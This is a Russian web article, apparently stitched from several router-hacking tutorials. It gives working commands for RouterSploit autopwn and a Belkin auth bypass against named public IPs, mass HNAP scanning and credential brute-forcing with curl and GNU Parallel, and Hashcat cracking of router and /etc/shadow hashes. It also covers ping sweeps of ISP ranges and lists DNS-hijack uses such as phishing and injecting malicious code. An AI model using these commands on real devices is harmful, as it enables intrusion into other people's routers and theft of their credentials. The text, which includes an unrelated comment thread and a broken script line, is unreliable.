Настройка программы роутер скан

Проверка на уязвимость по всем эксплойтам в RouterSploit

Зачаточная автоматизация в RouterSploit всё-таки присутствует. Можно, по крайней мере, проверить один роутер на подверженность сразу всеми эксплойтами. Для этого есть модуль autopwn. В качестве тестового роутера возьмём роутер на IP 83.17.188.82 и на порту 80.

Запустите RouterSploit. В зависимости от способа установки это делается так:

routersploit

или так:

./rsf.py

В запущенном RouterSploit вводим (используйте TAB для автоматического завершения):

use scanners/autopwn

Введём

show options

чтобы посмотреть опции:

В данном случае нам нужно установить IP:

set target 83.17.188.82

Порт устанавливать не нужно, поскольку он совпадает с портом по умолчанию. В противном случае для установки порта используется примерно такая команда:

set port 80

Для запуска модуля достаточно набрать

run

Строки

 exploits/dlink/dir_645_815_rce is vulnerable
 exploits/dlink/dir_300_600_rce is vulnerable
 Device is vulnerable!
 - exploits/dlink/dir_645_815_rce
 - exploits/dlink/dir_300_600_rce

говорят нам о том, что роутер уязвим к двум эксплойтам.

Чтобы отменить выбор модуля наберите

back

или сразу выберите другой модуль.

Что такое HNAP

Home Network Administration Protocol (HNAP) — Протокол администрирования домашней сети — это проприетарный сетевой протокол, изобретённый Pure Networks, Inc. и приобретённый Cisco Systems, который позволяет идентифицировать, настраивать и управлять сетевыми устройствами. HNAP основан на SOAP.

Этот протокол появился в 2007 году и может рассматриваться как прямой конкурент UPnP. Известными пользователями этого протокола были Cisco и D-Link. Однако оба прекратили использование этого протокола в 2012 и 2016 годах соответственно. То есть да, новые устройства больше не поддерживают этот протокол, но старые роутеры никуда не делись.

Особенно примечательно то, что эта функция часто скрыта от административной панели, что делает невозможным её отключение. Если ваш маршрутизатор всё ещё поддерживает HNAP, это, вероятно, означает, что ваш маршрутизатор нуждается в замене.

Начиная с января 2010 года, в нескольких сетевых устройствах D-Link были обнаружены уязвимости, в которых можно было обойти HNAP-аутентификацию.

Как просканировать сеть в поисках HNAP

Я не нашёл сканеров, которые могут искать HNAP. За исключением Router Scan, который пытается эксплуатировать этот протокол если другие средства не сработали.

Но поскольку нам известна команда верификации поддержки HNAP, то в паре с Parallel мы можем сделать свой собственный «инструмент» для сканирования больших сетей в поиске HNAP Смотрите, кстати «Руководство по использованию GNU Parallel» — это потрясающая программа.

Итак, я хочу просканировать сеть 172.16.0.0/12, это диапазон IP адресов 172.16.0.0-172.31.255.255. При этом я хочу просканировать сразу два порта — 80 и 8080. Тогда команда следующая:

parallel -j250 'if [[ "`echo "GET /HNAP1/ HTTP/1.1\r\nHost: test\r\n\r\n" | timeout 3 ncat 172.{3}.{1}.{2} 80 2>/dev/null | grep -E -o xml`" ]]; then echo 172.{3}.{1}.{2}; fi; if [[ "`echo "GET /HNAP1/ HTTP/1.1\r\nHost: test\r\n\r\n" | timeout 3 ncat 172.{3}.{1}.{2} 8080 2>/dev/null | grep -E -o xml`" ]]; then echo 172.{3}.{1}.{2}:8080; fi' ::: {1..255} ::: {1..255} ::: {16..31}

Если вы будете её модифицировать под свои нужды, то обратите внимание, что IP адрес в команде указывается 4 раза — поменяйте его во всех местах.

В качестве основной полезной нагрузки используется команда:

echo "GET /HNAP1/ HTTP/1.1\r\nHost: test\r\n\r\n" | timeout 3 ncat 172.{3}.{1}.{2} 80 2>/dev/null | grep -E -o xml

Она основана на уже знакомой нам команде, но в ней добавлен таймаут в 3 секунды. Также в выводе с помощью grep ищется строка «xml». Если она найдена, то выполняется условие if и выводится IP адрес.

Данная конструкция продублирована, но во втором случае операция повторяется для порта 8080.

Чтобы понять «172.{3}.{1}.{2}» и « ::: {1..255} ::: {1..255} ::: {16..31}» изучите руководство по Parallel, ссылка на которое дана выше. Но, в принципе, можно и так догадаться.

Как вы можете увидеть, сканирование ещё продолжается, но я уже получил результаты:

Проблема с роутерами, поддерживающими два диапазона

Современные роутеры часто поддерживают работу на двух частотах: на 2.4 ГГц и 5 ГГц. Фактически, это две разные сети – у них могут быть разные имена, разные пароли, любая из них может быть отключена независимо от другой

Самое важное – у них разные MAC-адреса (т.е. BSSID).

Выполняя сканирование, если Router Scan by Stas’M находит роутер с двумя диапазонами, то он в парсит и сохраняет в базе данных информацию только о диапазоне 5 ГГц. Поскольку такие роутеры (в некоторых странах) стали популярными, но при этом сети на 5 ГГц до сих пор используются очень мало, то возникает проблема, что база данных 3WiFi заполняется о сетях, о которых мы не знаем, если сканируем только частоты диапазона 2.4 ГГц. Но дела ещё хуже, поскольку многие просто отключают второй диапазон за ненадобностью.

Посмотрите на скриншот:

Очень много сетей с именами вида true_home5G_* — это двухдиапазонные роутеры, которые удачно взломаны, но от которых сохранена информация только о сети на 5 ГГц. На скриншоте видно много отключённых Wi-Fi сетей. На практике это означает, что в пределах нашей досягаемости может быть роутер, который присутствует в базе 3WiFi, но о котором мы не узнаем, если не просканируем 5 ГГц. А если вторая сеть отключена, то вообще нет никакой возможности найти его в базе, поскольку у видимой сети на 2.4 ГГц другой BSSID и может оказаться другое имя. К примеру, в рассматриваемых роутерах с сетями true_home5G_* вторая сеть по умолчанию называется true_home2G_*

Без изменения структуры базы данных, а также повторного пересканирования эту проблему не решить. Чтобы снизить количество пропущенных роутеров обязательно сканируйте частоты 5 ГГц. Для этого подходят карты Panda Wireless PAU09 N600 и Alfa AWUS052NH (также они подходят для всего остального в Kali Linux).

В одном роутере у всех сетевых интерфейсов (проводных и беспроводных), хоть и разные MAC-адреса, но обычно они различаются только на один символ, либо на 2 или 3 последних символа. Учитывая это, есть идея дополнить поиском по усечённым на 3 символа BSSID, это, с одной стороны, позволит найти роутеры:

  • которые добавлены в базу данных 3WiFi по BSSID на 5 ГГц
  • у которых сеть 5 ГГц вообще отключена
  • но которые находятся рядом с нами и у них включена сеть на частотах 2.4 ГГц

К примеру, в базе данных есть роутер с BSSID 60:03:47:2D:C1:F0, а рядом с нами присутствует сеть 60:03:47:2D:C1:FB этого же роутера, но которая не попала в БД. Если мы выполним поиск по запросу 60:03:47:2D:C1:F*, то мы найдём нужный нам роутер. Правда, никаких гарантий, что пароли от сетей 2.4 ГГц и 5 ГГц совпадут. Зато мы узнаем IP роутера, учётные данные от админки (можем зайти и сами посмотреть всё, что нам нужно), а также WPS ПИН (если есть).

В общем, есть ещё способы усилить поиск.

RouterSploit VS Router Scan by Stas’M

Программы RouterSploit и Router Scan by Stas’M предназначены для компрометации роутеров. Но они очень разные, чтобы в этом убедиться, достаточно взглянуть на их скриншоты. Это Router Scan by Stas’M:

А это RouterSploit (да, там нет графического интерфейса):

Кроме общей цели, у программ можно найти ещё несколько общих черт:

  • обе программы пытаются зайти на проверяемое устройство с заводскими учётными данными
  • проводят брутфорс по небольшим высокоэффективным словарям
  • используют эксплойты для роутеров.

Различий намного больше. Router Scan by Stas’M имеет несколько модулей сканирования, основной из которых имеет реализацию двух методов проверки, а остальные расширяют функциональность. Основной модуль сканирования достаточно быстро ищет цели. Проверка проходит полностью автоматически: перебор учётных данных, использования эксплойта, если он имеется для данной модели. Все результаты выводятся в интуитивно понятном и гибком в настройке графическом интерфейсе, а также могут быть сохранены в файлы разных форматов. В целом, и задумка, и реализация Router Scan by Stas’M выполнены на 5+, и программа уже давно приобрела свою заслуженную популярность.

В RouterSploit всё по-другому: без графического интерфейса, все цели задаются вручную, причём нельзя задать подсеть – каждый роутер нужно указывать индивидуально. Если уязвимость заключается в удалённом выполнении кода, то именно шелл для удалённого выполнения кода вы и получаете (не во всех эксплойтах автоматически раскручивается уязвимость до получения логина и пароля).

Даже количество эксплойтов и поддерживаемых роутеров у этих программ разное. В RouterSploit больше реализовано эксплойтов чем в последней публичной версии Router Scan by Stas’M. Также RouterSploit поддерживает брутфорс различных сетевых служб. Что качается поддержки роутеров для проверки/брутфорса учётных данных, то здесь список у Router Scan by Stas’M длиннее, хотя у RouterSploit есть универсальные модули, которые могут применяться для различных моделей. Хотя эти модули всё равно нужно настраивать вручную, и не каждый сумеет справиться со всеми параметрами HTTP формы.

Router Scan by Stas’M «из коробки» поддерживает использование прокси, а в RouterSploit таких опций нет.

Вывод следующий: это две довольно разные программы, и если не достигнут результат с помощью одной, то следует попробовать вторую.

Как брут-форсить пароль роутера с помощью HNAP

Пароль для входа в административную панель роутера одинаковый для выполнения действий с HNAP. Поэтому если веб-страница роутера защищена капчей, то можно воспользоваться HNAP для обхода капчи.

Я не нашёл инструментов для брут-форса HNAP, но это не проблема.

Если выполнить команду вида:

curl -v --insecure --header "SOAPAction: \"http://purenetworks.com/HNAP1/GetWanStatus\"" -d "$(cat GetWanStatus.xml)" http://ПОЛЬЗОВАТЕЛЬ:ПАРОЛЬ@ХОСТ:ПОРТ/HNAP1/

То в зависимости от того, правильные ли учётные данные или нет, будет получен код ответа:

< HTTP/1.1 200 OK

Или в случае неудачной аутентификации:

< HTTP/1.1 401 Unauthorized

Для выполнения этой команды необходим файл GetWanStatus.xml со следующим содержимым:

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/encoding/">
	<soap:Body>
		<GetWanStatus xmlns="http://purenetworks.com/HNAP1/">
		</GetWanStatus>
	</soap:Body>
</soap:Envelope>

Этот файл взят из программы Hnap0wn. На самом деле, нам нужно послать любой правильный запрос, просто, чтобы получить нормальный код ответа.

Пример выполнения двух команд:

curl -v --insecure --header "SOAPAction: \"http://purenetworks.com/HNAP1/GetWanStatus\"" -d "$(cat GetWanStatus.xml)" http://admin:@172.23.4.130:80/HNAP1/
curl -v --insecure --header "SOAPAction: \"http://purenetworks.com/HNAP1/GetWanStatus\"" -d "$(cat GetWanStatus.xml)" http://wrong-user-name:@172.23.4.130:80/HNAP1/

Теперь составляем команду parallel. Используемые файлы:

  • users.txt — список имён пользователей (все файлы в формате — одна запись на строку)
  • pass.txt — список паролей
  • hosts.txt — список хостов (если порт отличается от 80, то должен быть указан через двоеточие)

Команда parallel:

parallel -j250 'if [[ "`curl -v --insecure --header "SOAPAction: \"http://purenetworks.com/HNAP1/GetWanStatus\"" -d "$(cat GetWanStatus.xml)" http://{1}:{2}@{3}/HNAP1/ 2>&1 | grep \"200 OK\"`" ]]; then echo {1}:{2}@{3}; fi;' :::: users.txt :::: pass.txt :::: hosts.txt

Если подобраны имя пользователя и пароль, то они будут выведены вместе с адресом хоста.

Это успешно результаты успешного взлома пароля:

Взлом MD5 хеша пароля

Чтобы можно было использовать пароль в виде MD5 хеша, его нужно расшифровывать брутфорсом. Для начала попробуйте MD5 хеш просто загуглить, есть вероятность, что он сразу найдётся в одной из радужных таблиц.

Если с радужными таблицами не повезло, то брутфорсить лучше с использованием видеокарты и программы Hashcat. Шансы на удачу очень велики, поскольку MD5 очень быстро считается а, следовательно, и перебирается. Например, на моём стареньком ноутбуке (и процессор и видеокарта с индексом M, т.е. мобильные, т.е. с пониженным потреблением энергии и, следовательно, пониженной производительностью (процессор Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz и видеокарта Radeon HD 7870M)) перебор идёт со скоростью 1300 мегахешей в секунду, т.е. 1.300.000.000 хешей в секунду. На современных настольных компьютерах с хорошей видеокартой должно получаться минимум на один порядок больше (плюс ещё один ноль в конце). А на специально собранных для перебора хешей компьютерах с несколькими видеокартами, вполне возможно достижения скоростей больших чем у меня на два порядка. Т.е. у пароля средней длины (6-10 символов) в котором использовались большие и маленькие буквы, а также цифры, не остаётся шансов остаться не узнанным.

Пример запуска перебора хеша:

C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 0 -i --increment-min=1 --increment-max=8  8743b52063cd84097a65d1633f5c74f5 ?1?1?1?1?1?1?1?1?1

Здесь:

  • C:\Users\Alex\Downloads\hashcat-3.10\ — путь до папки, где расположена программа Hashcat
  • hashcat64.exe – файл программы – у меня 64-битная система
  • —opencl-device-types 1,2 – определённые фиксы для моей системы (подробности здесь)
  • -a 3 – выбор атаки по маске
  • -1 ?l?d?u – пользовательский набор символов, включает в себя большие и маленькие буквы, а также цифры
  • -m 0 – номер хеша (для каждого вида хеша нужно смотреть его персональный номер в справке. 0 соответствует MD5)
  • -i – включить приращение маски (увеличение количества символов)
  • —increment-min=1 – начать искать хеши с односимвольных кандидатов в пароли
  • —increment-max=8 – остановить приращение на 8 символах
  • 8743b52063cd84097a65d1633f5c74f5 – хеш, который нужно взломать
  • ?1?1?1?1?1?1?1?1?1 – маска (в данном случае 8 пользовательских символов, которые заданы выше).

Чтобы лучше разбираться в работе Hashcat, рекомендуется ознакомиться с её справкой и доступным материалом по этой программе.

Но иногда нужно включить голову, а не перебор на видеокарте. Давайте рассмотрим пример:

Имеется роутер 151.28.181.138. Это какая-то модель Belkin. Соответственно:

use scanners/belkin_scan
set target 151.28.181.138
run

Сразу две уязвимости. Одна заключается в обходе аутентификации, а вторая в раскрытии пароля. Хочу пароль!

rsf (Belkin Scanner) > use exploits/belkin/g_n150_password_disclosure
rsf (Belkin G & N150 Password Disclosure) > set target 151.28.181.138
 {'target': '151.28.181.138'}
rsf (Belkin G & N150 Password Disclosure) > run
 Running module...
 Exploit success

   Login     MD5 Password                         
   -----     ------------                         
   admin     8c9ba6053738777b4f88129c174fe2fc   

Нельзя сказать, что совсем нет результата. Как я уже сказал, MD5 хорошо поддаётся брутфорсу, поэтому я зарядил команду:

C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 0 -i --increment-min=1 --increment-max=8 8c9ba6053738777b4f88129c174fe2fc ?1?1?1?1?1?1?1?1?1

Но пока система привычно шумит вентиляторами, решил попробовать второй эксплойт:

rsf (Belkin G & N150 Password Disclosure) > use exploits/belkin/auth_bypass
rsf (Belkin Auth Bypass) > set target 151.28.181.138
 {'target': '151.28.181.138'}
rsf (Belkin Auth Bypass) > run
 Running module...
 Exploit success, you are now logged in!
rsf (Belkin Auth Bypass) >

Эксплойт оказался успешным и говорит, что я внутри. Судя по всему, нужно открыть браузер:

Я и правда внутри. Можно побродить по настройкам, но я случайно увидел мою любимую опцию «Save/Backup Settings».

Сохраняю файл с настройками себе.

Открываю его и ищу по ключевому слову «pass», там имеется несколько строк с таких вхождением, в том числе такие две строчки:

wan0_pppoe_passwd=razorjack
dsl3_pppoe_passwd=razorjack

И хотя понятно, что это не пароль от устройства, тем не менее, видно, что пользователь имеет склонность использовать одинаковые пароли. А что если…

echo -n razorjack | md5sum
8c9ba6053738777b4f88129c174fe2fc

Ну точно, 8c9ba6053738777b4f88129c174fe2fc – это хеш от razorjack.

Нажимаю в верхнем правом углу Logout, затем Login и вхожу как белый человек с паролем, а не через «чёрный вход».

2 комментария to Сервис 3WiFi: пароли от точек доступа Wi-Fi

Для начала вы сами должны были обьяснить что роутерскан сам отправляет ваши пароли на карту если у вас на роутере стандартный логин пароль. Сам проверил и теперь вижу свой пароль на карте, сервис прикольный но даже обидно за это….поясняю что я за натом и меня просто так не просканить

При первом запуске программа спрашивает (правда на английском), хотите ли вы автоматически отправлять данные на сервер. В дальнейшем это также можно поменять в настройках.

Видимо, при открытии программы вы тыкнули в кнопку Yes даже не прочитав сообщения.

Само-собой, пользователям читать необязательно и я должен был это объяснить. И знаете что? Я объяснил. В статье про Router Scan: «Инструкция по использованию Router Scan by Stas’M. Часть первая: Опции и анонимность сканирования».

Эта статья про 3WiFi — здесь даже нет прямых ссылок на Router Scan — только на справочную информацию, которая ведёт уже на статью про Router Scan с объяснением того, что и так показывается каждому пользователю при запуске программы.

Нужно действовать более осознанно. Если какая-то программа показывает вам сообщение, то нужно его читать. Может быть в будущем появятся программы, которые вас будут спрашивать, хотите ли вы переписать свою квартиру на автора программы и отдать своих детей в рабство…

Что касается таких инструментов как Router Scan, то нужно действовать в двойне осознанно. Это не игрушка — это очень мощный инструмент оценки безопасности, который при особо неправильном поведении может вызвать и юридические проблемы.

Взлом хешей из файла /etc/shadow

Чуть выше я добыл следующую строку из файла /etc/shadow роутера:

rootforroute:$1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR.:0:0:99999:7:0:0:

Т.е. имя пользователя в системе rootforroute, а пароль сохранён в виде хеша.

Ещё несколько примеров из разных систем (в том числе настольных Linux):

mial:$6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01:16964:0:99999:7:::

root:$6$DCSszlW5$HTYUvmUbb2QthFKs/RtTpMGaUF/DFc1MKRHkzrvybER2EORG3Mmnjojrh0aZ/BzbQv5UU51Ydf2.2P38yeDQU1:16964::::::

root:$6$cdL/Ap7b$UZjDNb6QKZEDgeScAzt0HO3p9WxEGdg6bOtVRyd.kwS/oUpMl23cBqkAtiQb/xI

mial:$6$bHrtO6qB$YlE/hUkde6k.fNQkIVFqph6mfRwZme8mWb/yOANj7fyon3q.b6A7pxuMleOEk3U

Обратите внимание на цифры 1 и 6 между знаками $. Также ещё там могут быть цифры 2 и 5

Они означают алгоритм хеша. Расшифровка следующая:

  • 1 = MD5
  • 2 = Blowfish
  • 5 = SHA-256
  • 6 = SHA-512

В Hashcat хеши имеют следующие номера:

    500 | md5crypt $1$, MD5(Unix)
   3200 | bcrypt $2*$, Blowfish(Unix)
   7400 | sha256crypt $5$, SHA256(Unix)
   1800 | sha512crypt $6$, SHA512(Unix)

В строках вида

rootforroute:$1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR.:0:0:99999:7:0:0:

хеш для взлома (там ещё есть соль, но в данном случае это не важно) расположен между первым и вторым двоеточием, т.е. в приведённой строке хешем для взлома является

$1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR.

В команде для Hashcat нужно указать соответствующий номер хеша (-m 500), получается следующая команда для конкретно данного примера:

C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 500 -i --increment-min=1 --increment-max=8  $1$VnG/6ABB$t6w9bQFxvI9tf0sFJf2TR. ?1?1?1?1?1?1?1?1?1

Ещё один пример строки из /etc/shadow:

mial:$6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01:16964:0:99999:7:::

Хеш для взлома также расположен между первым и вторым двоеточием, это

$6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01

Указываем соответствующий номер хеша (-m 1800):

C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 1800 -i --increment-min=1 --increment-max=8  $6$q8C1F6tv$zTP/eEVixqyQBEfsSbTidUJfnaE2ojNIpTwTHava/UhFORv3V4ehyTOGdQEoFo1dEVG6UcXwhG.UHvyQyERz01 ?1?1?1?1?1?1?1?1?1

Использование ping

Команду ping можно использовать для проверки отклика узлов, в частности, потенциальных шлюзов. Ниже предложен вариант bat-скрипта, проверяющего диапазон 10.0.0.0/8 на наличие шлюзов с последним октетом 1:

@echo off
rem Включить отложенное расширение переменной среды (для локальных переменных)
setlocal EnableDelayedExpansion
rem Пробегаемся пингом по диапазону 10.0.0.0/8, проверяем шлюзы 10.x.x.1
for /l %%a in (0,1,255) do (
for /l %%b in (0,1,255) do (
ping -n 1 -w 100 10.%%a.%%b.1 | find "TTL" >nul
if !errorlevel!==0 (echo 10.%%a.%%b.0/24)))

В данном скрипте запрос отправляется 1 раз для каждого узла, с таймаутом 100 мс. Если был получен отклик от узла, вывод команды ping обычно содержит подстроку TTL, которую мы как раз проверяем. В результате, в консоль будут выведены адреса сетей в формате10.x.x.0/24, шлюзы которых ответили на запрос.

В некоторых случаях есть смысл проверить также шлюзы с октетами 254 (если проверяем сети класса C). Далее приведён образец вывода команды на примере провайдера SpeedyLine:

C:\Users\user>pingin.bat
10.0.6.0/24
10.0.14.0/24
10.0.22.0/24
10.0.30.0/24
10.0.44.0/24
10.0.46.0/24
10.0.54.0/24
10.0.62.0/24
10.0.70.0/24
10.0.72.0/24
10.0.74.0/24
10.0.76.0/24
10.0.78.0/24
10.0.86.0/24
10.0.92.0/24
10.0.126.0/24
10.0.150.0/24
10.0.162.0/24
10.0.166.0/24
10.0.249.0/24
10.0.250.0/24
10.0.255.0/24
10.1.6.0/24
10.1.12.0/24
10.1.14.0/24
10.1.18.0/24
10.1.22.0/24
10.1.24.0/24
10.1.26.0/24
10.1.30.0/24
10.1.34.0/24
10.1.36.0/24
10.1.38.0/24
10.1.52.0/24
10.1.54.0/24
10.1.56.0/24
10.1.58.0/24
10.1.62.0/24
10.1.64.0/24
10.1.66.0/24
10.1.70.0/24
10.1.74.0/24
10.1.78.0/24
10.1.80.0/24
10.1.82.0/24
10.1.86.0/24
10.1.88.0/24
10.1.94.0/24
10.1.98.0/24
10.1.104.0/24
10.1.106.0/24
10.1.110.0/24
10.1.114.0/24
10.1.118.0/24
10.1.122.0/24
10.1.126.0/24
10.1.130.0/24
10.1.134.0/24
10.1.138.0/24
10.1.142.0/24
10.1.146.0/24
10.1.150.0/24
10.1.154.0/24
^C^CЗавершить выполнение пакетного файла [Y(да)/N(нет)]? Y

C:\Users\user>

Среднее время выполнения данного скрипта — от 5 до 10 минут, но в отдельных случаях может сильно отличаться. Выполнение скрипта было остановлено вручную, нажатием сочетания клавиш Ctrl+C.

По результатам можно заметить, что в большинстве случаев сети в списке появляются с интервалом в 8 октетов (по третьему октету), значит в действительности используются сети с маской /21.

Этот же самый скрипт под Linux:

#! /bin/bash

for i in `seq 0 1 255`
do
	echo 'Работаем с '10.$(($i))
		for m in `seq 0 1 255`
		do
			ping 10.$(($i)).$(($m)).1 -c 1 -W 1 > /dev/null
			if ; 
			then  
				echo 10.$(($i)).$(($m)).0/24
			fi
		done
done

Ускоренный вариант скрипта (ping заменена на fping)

#! /bin/bash

for i in `seq 0 1 255`
do
	echo 'Работаем с '10.$(($i))
	t=''
		for m in `seq 0 1 255`
		do
			t=$t" "10.$(($i)).$(($m)).1
		done
	fping -a $t
done

Использование nslookup

Рассмотрим пример получения IP адресов для провайдера MTU-Intel, используя команду nslookup.

C:\Users\user>nslookup
Сервер по умолчанию:  google-public-dns-a.google.com
Address:  8.8.8.8

> www.mtu-net.ru
Сервер:  google-public-dns-a.google.com
Address:  8.8.8.8

Не заслуживающий доверия ответ:
Имя:     www.mtu-net.ru
Address:  62.118.255.3               <=  IP адрес основного сайта

> set q=MX
> mtu-net.ru
Сервер:  google-public-dns-a.google.com
Address:  8.8.8.8

Не заслуживающий доверия ответ:
mtu-net.ru      MX preference = 10, mail exchanger = mx.mtu-net.ru
> mx.mtu-net.ru
Сервер:  google-public-dns-a.google.com
Address:  8.8.8.8

mtu-net.ru
	  primary name server = dns0.mtu.ru
	  responsible mail addr = hostmaster.ns.mtu.ru
	  serial  = 200407085
	  refresh = 1800 (30 mins)
	  retry   = 1200 (20 mins)
	  expire  = 604800 (7 days)
	  default TTL = 86400 (1 day)
> set q=A
> mx.mtu-net.ru
Сервер:  google-public-dns-a.google.com
Address:  8.8.8.8

Не заслуживающий доверия ответ:
Имя:     mx.mtu-net.ru
Address:  195.34.32.99               <=  IP адрес почтового сервера

> dns0.mtu.ru
Сервер:  google-public-dns-a.google.com
Address:  8.8.8.8

Не заслуживающий доверия ответ:
Имя:     dns0.mtu.ru
Address:  195.34.32.83               <=  IP адрес одного из DNS

> exit

C:\Users\user>

Первый диапазон 62.118.254.0/23 принадлежит веб хостингу, и вероятно, его нет особого смысла сканировать. А вот второй диапазон 195.34.32.0/19 больше похож на провайдерский, возможно на нём удастся что-то найти.

В Linux использование команды идентично.

Использование смены DNS на роутере

Некоторые эксплойты не могут ничего, кроме как поменять настройки DNS. Естественно, имея пароль от учётной записи администратора, также можно поменять DNS. Даже без пароля администратора, но имея возможность выполнять команды на роутере, можно отредактировать конфигурационный файл для смены сервера имён.

Смена DNS на свой DNS прокси может дать следующее:

  1. Блокировка Интернет-подключения на роутере (делается просто, но, скорее всего, также быстро будет исправлена владельцем роутера)
  2. Сбор статистики о посещённых ресурсах и установленном ПО у клиентов роутера
  3. Выполнение фишинговых атак для кражи паролей (кроме DNS прокси требуется настройка веб-сервера)
  4. Внедрение кода на веб-страницы (например, для JQuery, встраиваемого в сайты посредством CDN, подменяется DNS сервера CDN, в результате код JQuery подгружается с сервера злоумышленника, который кроме самой библиотеки, добавил злонамеренный код, показывающий рекламу, ворующий пароли, следящий на нажатыми клавишами или выполняющий фишинговые и т.п. атаки)
  5. Фишинговые атаки с целью заражения бэкдором компьютеров пользователей роутера.

Некоторые приёмы работы с DNS прокси показаны в статье «Инструкция по использованию Router Scan by Stas’M. Часть вторая: Применение фальшивого DNS».

Заключение

RouterSploit имеет хорошую коллекцию эксплойтов и достаточно удобную организацию работы с ними в отношении отдельных роутеров.

Реализация модуля HTTP аутентификации через форму (пожалуй, самый распространённый вариант входа в настройки роутера) можно считать сделанной для галочки. В том виде, как он сделан сейчас, практически никто не сможет им воспользоваться. А те, кто смогут всё правильно в нём настроить, скорее всего, воспользуются более привычным для них инструментом, тем же самым patator.

Модуль HTTP аутентификации через форму должен быть сделан персонально для каждой модели роутера, как это реализовано в Router Scan by Stas’M – иначе в нём нет смысла.

Для реализации подобного, необходимо предварительно создать модули для точного определения версий и соответствующую БД, что, судя по всему, даже не входит в планы.

Аналогично с эксплойтами для удалённого выполнения кода. Для большинства моделей ничто не мешало авторам добавить пару строк для считывания и вывода логина и пароля, вместо показа приглашения командной строки.

Конечно я помню, что RouterSploit бесплатен, с открытым исходным кодом. И если в подобных программах что-то не хватает, то нужно не жаловаться, а самому доделывать для себя и сообщества. Главное ощущение, которое осталось от этой программы – хочется всё переделать, сделать лучше, логичнее, законченнее и проще.

Оцените статью
Рейтинг автора
5
Материал подготовил
Андрей Измаилов
Наш эксперт
Написано статей
116
Добавить комментарий